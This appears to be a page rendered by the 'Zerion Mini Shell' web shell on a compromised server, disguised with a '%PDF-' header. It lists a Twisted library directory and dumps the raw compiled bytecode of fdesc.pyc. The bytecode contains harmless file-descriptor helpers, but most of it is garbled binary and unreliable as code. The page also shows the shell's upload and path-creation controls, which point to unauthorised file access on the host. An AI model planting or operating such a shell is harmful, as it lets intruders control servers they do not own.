%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/internet/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/internet/__pycache__/fdesc.cpython-312.pyc

�

Ϫ�f����dZddlZddlZ	ddlZeZddlmZmZd�Z	d�Z
e�d�xZZnd�Zd�Zd	�Z
d
�Zgd�Zy#e$rdZY�0wxYw)z<
Utility functions for dealing with POSIX file descriptors.
�N)�CONNECTION_DONE�CONNECTION_LOSTc��tj|tj�}|tjz}tj|tj|�y)zP
    Set the file description of the given file descriptor to non-blocking.
    N��fcntl�F_GETFL�os�
O_NONBLOCK�F_SETFL��fd�flagss  �8/usr/lib/python3/dist-packages/twisted/internet/fdesc.py�setNonBlockingrs:��
�K�K��E�M�M�*�E��B�M�M�!�E�	�K�K��E�M�M�5�)�c��tj|tj�}|tjz}tj|tj|�y)zL
    Set the file description of the given file descriptor to blocking.
    Nrrs  r�setBlockingr!s<��
�K�K��E�M�M�*�E��R�]�]�N�"�E�	�K�K��E�M�M�5�)rc��y)N�)r
s r�<lambda>r-s�rc��tj|tj�}|tjz}tj|tj|�y�z7
        Make a file descriptor close-on-exec.
        N�r�F_GETFD�
FD_CLOEXEC�F_SETFDrs  r�_setCloseOnExecr0s<�����B��
�
�.����(�(�(��
���B��
�
�u�-rc��tj|tj�}|tjz}tj|tj|�yrrrs  r�_unsetCloseOnExecr8s?�����B��
�
�.����)�)�)�)��
���B��
�
�u�-rc���	tj|d�}|stS||�y#t$rD}|jdtj
tjfvrYd}~ytcYd}~Sd}~wwxYw)a
    Read from file descriptor, calling callback with resulting data.

    If successful, call 'callback' with a single argument: the
    resulting data.

    Returns same thing FileDescriptor.doRead would: CONNECTION_LOST,
    CONNECTION_DONE, or None.

    @type fd: C{int}
    @param fd: non-blocking file descriptor to be read from.
    @param callback: a callable which accepts a single argument. If
    data is read from the file descriptor it will be called with this
    data. Handling exceptions from calling the callback is up to the
    caller.

    Note that if the descriptor is still connected but no data is read,
    None will be returned but callback will not be called.

    @return: CONNECTION_LOST on error, CONNECTION_DONE when fd is
    closed, otherwise None.
    i rN)	r	�read�OSError�args�errno�EAGAIN�EINTRrr)r
�callback�output�ioes    r�
readFromFDr*Asb��.#�����T�"������V����#��8�8�A�;�5�<�<����5�5��"�"��	#�s �)�	A6�/A1�&A1�+A6�1A6c���	tj||�S#t$rA}|jtjtj
fvrYd}~ytcYd}~Sd}~wwxYw)a>
    Write data to file descriptor.

    Returns same thing FileDescriptor.writeSomeData would.

    @type fd: C{int}
    @param fd: non-blocking file descriptor to be written to.
    @type data: C{str} or C{buffer}
    @param data: bytes to write to fd.

    @return: number of bytes written, or CONNECTION_LOST.
    Nr)r	�writer"r$r%r&r)r
�data�ios   r�	writeToFDr/dsJ����x�x��D�!�!����
�8�8����e�k�k�2�2������s ��	A"�,A�A�A"�A")rrr*r/)�__doc__r$r	r�_fcntl�ImportError�twisted.internet.mainrrrrrrr*r/�__all__rrr�<module>r5sy���
�	���
�E�C�*�*�	�=�+:�9�O�'�.�.� �F�*G���U���E��s�9�A�A

Zerion Mini Shell 1.0